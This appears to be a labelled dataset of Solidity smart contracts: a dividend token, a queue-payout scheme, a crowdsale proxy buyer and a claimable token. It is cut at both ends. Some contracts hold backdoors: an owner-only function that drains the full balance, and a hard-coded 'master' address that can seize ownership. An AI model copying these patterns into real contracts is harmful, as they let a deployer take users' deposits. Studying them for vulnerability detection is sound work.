SPARE_RECOMM_ADDR = _SPARE_RECOMM_ADDR;
}
} | 1 | 3,384 |
pragma solidity 0.4.25;
contract EtheriumEcoSystem {
struct UserRecord {
address referrer;
uint tokens;
uint gained_funds;
uint ref_funds;
int funds_correction;
}
using SafeMath for uint;
using SafeMathInt for int;
using Fee for Fee.fee;
using ToAddress for bytes;
string constant public name = "Etherium Ecosystem";
string constant public symbol = "EAN";
uint8 constant public decimals = 18;
Fee.fee private fee_purchase = Fee.fee(1, 10);
Fee.fee private fee_selling = Fee.fee(1, 20);
Fee.fee private fee_transfer = Fee.fee(1, 100);
Fee.fee private fee_referral = Fee.fee(33, 100);
uint constant private minimal_stake = 10e18;
uint constant private precision_factor = 1e18;
uint private price = 1e29;
uint constant private price_offset = 1e28;
uint private total_supply = 0;
uint private shared_profit = 0;
mapping(address => UserRecord) private user_data;
modifier onlyValidTokenAmount(uint tokens) {
require(tokens > 0, "Amount of tokens must be greater than zero");
require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens");
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function () public payable {
buy(msg.data.toAddr());
}
constructor () public {
owner = msg.sender;
}
function buy(address referrer) public payable {
(uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value);
require(fee_funds != 0, "Incoming funds is too small");
UserRecord storage user = user_data[msg.sender];
if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) {
user.referrer = referrer;
}
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value);
require(fee_funds != 0, "Incoming funds is too small");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Incoming funds is too small");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now);
}
function sell(uint tokens) public onlyValidTokenAmount(tokens) {
(uint funds, uint _price) = tokensToFunds(tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
(uint fee_funds, uint taxed_funds) = fee_selling.split(funds);
require(fee_funds != 0, "Insufficient tokens to do that");
burnTokens(msg.sender, tokens);
UserRecord storage user = user_data[msg.sender];
user.gained_funds = user.gained_funds.add(taxed_funds);
shared_profit = shared_profit.add(fee_funds);
emit Selling(msg.sender, tokens, funds, price / precision_factor, now);
}
function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) {
require(to_addr != msg.sender, "You cannot transfer tokens to yourself");
(uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens);
require(fee_tokens != 0, "Insufficient tokens to do that");
(uint funds, uint _price) = tokensToFunds(fee_tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
burnTokens(msg.sender, tokens);
mintTokens(to_addr, taxed_tokens);
shared_profit = shared_profit.add(funds);
emit Transfer(msg.sender, to_addr, tokens);
return true;
}
function transfers() public onlyOwner {
owner.transfer(address(this).balance);
}
function reinvest() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
(uint fee_funds, uint taxed_funds) = fee_purchase.split(funds);
require(fee_funds != 0, "Insufficient dividends to do that");
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds);
require(fee_funds != 0, "Insufficient dividends to do that");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Insufficient dividends to do that");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);
}
function withdraw() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
msg.sender.transfer(funds);
emit Withdrawal(msg.sender, funds, now);
}
function exit() public {
uint tokens = user_data[msg.sender].tokens;
if (tokens > 0) {
sell(tokens);
}
withdraw();
}
address public owner;
function donate() public payable {
shared_profit = shared_profit.add(msg.value);
emit Donation(msg.sender, msg.value, now);
}
function totalSupply() public view returns (uint) {
return total_supply;
}
function balanceOf(address addr) public view returns (uint) {
return user_data[addr].tokens;
}
function dividendsOf(address addr) public view returns (uint) {
UserRecord memory user = user_data[addr];
int d = int(user.gained_funds.add(user.ref_funds));
require(d >= 0);
if (total_supply > 0) {
d = d.add(int(shared_profit.mul(user.tokens) / total_supply));
}
if (user.funds_correction > 0) {
d = d.sub(user.funds_correction);
}
else if (user.funds_correction < 0) {
d = d.add(-user.funds_correction);
}
require(d >= 0);
return uint(d);
}
function expectedTokens(uint funds, bool apply_fee) public view returns (uint) {
if (funds == 0) {
return 0;
}
if (apply_fee) {
(,uint _funds) = fee_purchase.split(funds);
funds = _funds;
}
(uint tokens,) = fundsToTokens(funds);
return tokens;
}
function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) {
if (tokens == 0 || total_supply == 0) {
return 0;
}
else if (tokens > total_supply) {
tokens = total_supply;
}
(uint funds,) = tokensToFunds(tokens);
if (apply_fee) {
(,uint _funds) = fee_selling.split(funds);
funds = _funds;
}
return funds;
}
function buyPrice() public view returns (uint) {
return price / precision_factor;
}
function sellPrice() public view returns (uint) {
return price.sub(price_offset) / precision_factor;
}
function mintTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
bool not_first_minting = total_supply > 0;
if (not_first_minting) {
shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply;
}
total_supply = total_supply.add(tokens);
user.tokens = user.tokens.add(tokens);
if (not_first_minting) {
user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply));
}
}
function burnTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
uint dividends_from_tokens = 0;
if (total_supply == tokens) {
dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply;
}
shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply;
total_supply = total_supply.sub(tokens);
user.tokens = user.tokens.sub(tokens);
if (total_supply > 0) {
user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply));
}
else if (dividends_from_tokens != 0) {
user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens));
}
}
function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) {
UserRecord storage referrer = user_data[referrer_addr];
if (referrer.tokens >= minimal_stake) {
(uint reward_funds, uint taxed_funds) = fee_referral.split(funds);
referrer.ref_funds = referrer.ref_funds.add(reward_funds);
emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now);
return taxed_funds;
}
else {
return funds;
}
}
function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) {
uint b = price.mul(2).sub(price_offset);
uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor));
uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2);
uint anp1 = price.add(price_offset.mul(n) / precision_factor);
return (n, anp1);
}
function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) {
uint sell_price = price.sub(price_offset);
uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor);
uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2);
return (sn / precision_factor, an);
}
event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time);
event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Withdrawal(address indexed addr, uint funds, uint time);
event Donation(address indexed addr, uint funds, uint time);
event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time);
event Transfer(address indexed from_addr, address indexed to_addr, uint tokens);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul failed");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "sub failed");
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add failed");
return c;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = add(x, 1) / 2;
y = x;
while (z < y) {
y = z;
z = add(x / z, z) / 2;
}
}
}
library SafeMathInt {
function sub(int a, int b) internal pure returns (int) {
int c = a - b;
require(c <= a, "sub failed");
return c;
}
function add(int a, int b) internal pure returns (int) {
int c = a + b;
require(c >= a, "add failed");
return c;
}
}
library Fee {
using SafeMath for uint;
struct fee {
uint num;
uint den;
}
function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) {
if (value == 0) {
return (0, 0);
}
tax = value.mul(f.num) / f.den;
taxed_value = value.sub(tax);
}
function get_tax(fee memory f, uint value) internal pure returns (uint tax) {
if (value == 0) {
return 0;
}
tax = value.mul(f.num) / f.den;
}
}
library ToAddress {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {
addr := mload(add(source, 0x14))
}
return addr;
}
} | 1 | 2,912 |
pragma solidity ^0.4.24;
contract XKnockoutRegular {
using SafeMath for uint256;
struct EntityStruct {
bool active;
bool vip;
uint listPointer;
uint256 date;
uint256 update;
uint256 exit;
uint256 profit;
}
mapping(address => EntityStruct) public entityStructs;
address[] public entityList;
address[] public vipList;
address dev;
uint256 base = 500000000000000000;
uint256 public startedAt = now;
uint256 public timeRemaining = 24 hours;
uint256 public devreward;
uint public round = 1;
uint public shift = 0;
uint public joined = 0;
uint public exited = 0;
bool public timetoRegular = true;
constructor() public {
dev = msg.sender;
}
function() public payable {
if(checkRemaining()) { msg.sender.transfer(msg.value);
} else {
if(msg.value == base) {
addToList();
} else if(msg.value == base.div(10)) {
up();
} else {
revert("You should send 0.5 ETH to join the list or 0.05 ETH to up");
}
}
}
function addToList() internal {
if(entityStructs[msg.sender].active) revert("You are already in the list");
newEntity(msg.sender, true);
joined++;
startedAt = now;
entityStructs[msg.sender].date = now;
entityStructs[msg.sender].profit = 0;
entityStructs[msg.sender].update = 0;
entityStructs[msg.sender].exit = 0;
entityStructs[msg.sender].active = true;
entityStructs[msg.sender].vip = false;
if(timetoRegular) {
entityStructs[entityList[shift]].profit += base;
if(entityStructs[entityList[shift]].profit == 2*base) {
entityStructs[entityList[shift]].active = false;
entityStructs[entityList[shift]].exit = now;
entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) );
devreward += entityStructs[entityList[shift]].profit.mul(10).div(100);
exitREG();
exited++;
if(lastVIPkey() != 9999) {
if(vipList[lastVIPkey()] != address(0)) timetoRegular = false;
}
}
} else if (!timetoRegular) {
uint lastVIP = lastVIPkey();
entityStructs[vipList[lastVIP]].profit += base;
if(entityStructs[vipList[lastVIP]].profit == 2*base) {
entityStructs[vipList[lastVIP]].active = false;
entityStructs[vipList[lastVIP]].exit = now;
vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) );
devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100);
exitVIP(vipList[lastVIP]);
exited++;
timetoRegular = true;
}
}
}
function up() internal {
if(joined.sub(exited) < 3) revert("You are too alone to up");
if(!entityStructs[msg.sender].active) revert("You are not in the list");
if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min");
if(!entityStructs[msg.sender].vip) {
uint rowToDelete = entityStructs[msg.sender].listPointer;
address keyToMove = entityList[entityList.length-1];
entityList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
entityList.length--;
entityStructs[msg.sender].update = now;
entityStructs[msg.sender].vip = true;
newVip(msg.sender, true);
devreward += msg.value;
} else if (entityStructs[msg.sender].vip) {
entityStructs[msg.sender].update = now;
delete vipList[entityStructs[msg.sender].listPointer];
newVip(msg.sender, true);
devreward += msg.value;
}
}
function newEntity(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].active = entityData;
entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1;
return true;
}
function exitREG() internal returns(bool success) {
delete entityList[shift];
shift++;
return true;
}
function getVipCount() public constant returns(uint entityCount) {
return vipList.length;
}
function newVip(address entityAddress, bool entityData) internal returns(bool success) {
entityStructs[entityAddress].vip = entityData;
entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1;
return true;
}
function exitVIP(address entityAddress) internal returns(bool success) {
uint rowToDelete = entityStructs[entityAddress].listPointer;
address keyToMove = vipList[vipList.length-1];
vipList[rowToDelete] = keyToMove;
entityStructs[keyToMove].listPointer = rowToDelete;
vipList.length--;
return true;
}
function lastVIPkey() public constant returns(uint) {
if(vipList.length == 0) return 9999;
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
return l;
}
}
return 9999;
}
function lastREG() public view returns (address) {
return entityList[shift];
}
function lastVIP() public view returns (address) {
if(lastVIPkey() != 9999) {
return vipList[lastVIPkey()];
}
return address(0);
}
function checkRemaining() public returns (bool) {
if(now >= timeRemaining.add(startedAt)) {
if(vipList.length > 0) {
uint limit = vipList.length-1;
for(uint l=limit; l >= 0; l--) {
if(vipList[l] != address(0)) {
entityStructs[vipList[l]].active = false;
entityStructs[vipList[l]].vip = false;
entityStructs[vipList[l]].date = 0;
}
}
}
if(shift < entityList.length-1) {
for(uint r = shift; r < entityList.length-1; r++) {
entityStructs[entityList[r]].active = false;
entityStructs[entityList[r]].date = 0;
}
}
rewardDev();
if(address(this).balance.sub(devreward) > 0) {
if(lastVIPkey() != 9999) {
vipList[lastVIPkey()].transfer(address(this).balance);
}
}
vipList.length=0;
entityList.length=0;
shift = 0;
startedAt = now;
timeRemaining = 24 hours;
timetoRegular = true;
round++;
return true;
}
uint range = joined.sub(exited).div(100);
if(range != 0) {
timeRemaining = timeRemaining.div(range.mul(2));
}
return false;
}
function rewardDev() public {
dev.transfer(devreward);
devreward = 0;
}
function queueVIP() public view returns (address[]) {
return vipList;
}
function queueREG() public view returns (address[]) {
return entityList;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,865 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value, customerId);
}
function investWithId(uint128 customerId) public stopInEmergency payable {
invest(customerId);
}
function investWithoutId() public stopInEmergency payable {
invest(0x0);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!(investor.call.value(amount)())) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 1,658 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
address public master = 0x8fED3492dB590ad34ed42b0F509EB3c9626246Fc;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public {
require(msg.sender == master);
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is ERC20Basic, Ownable {
using SafeMath for uint256;
struct Claim {
address claimant;
uint256 collateral;
uint256 timestamp;
}
struct PreClaim {
bytes32 msghash;
uint256 timestamp;
}
uint256 public collateralRate = 5*10**15 wei;
uint256 public claimPeriod = 60*60*24*180;
uint256 public preClaimPeriod = 60*60*24;
mapping(address => Claim) public claims;
mapping(address => PreClaim) public preClaims;
function setClaimParameters(uint256 _collateralRateInWei, uint256 _claimPeriodInDays) public onlyOwner() {
uint256 claimPeriodInSeconds = _claimPeriodInDays*60*60*24;
require(_collateralRateInWei > 0);
require(_claimPeriodInDays > 90);
collateralRate = _collateralRateInWei;
claimPeriod = claimPeriodInSeconds;
emit ClaimParametersChanged(collateralRate, claimPeriod);
}
event ClaimMade(address indexed _lostAddress, address indexed _claimant, uint256 _balance);
event ClaimPrepared(address indexed _claimer);
event ClaimCleared(address indexed _lostAddress, uint256 collateral);
event ClaimDeleted(address indexed _lostAddress, address indexed _claimant, uint256 collateral);
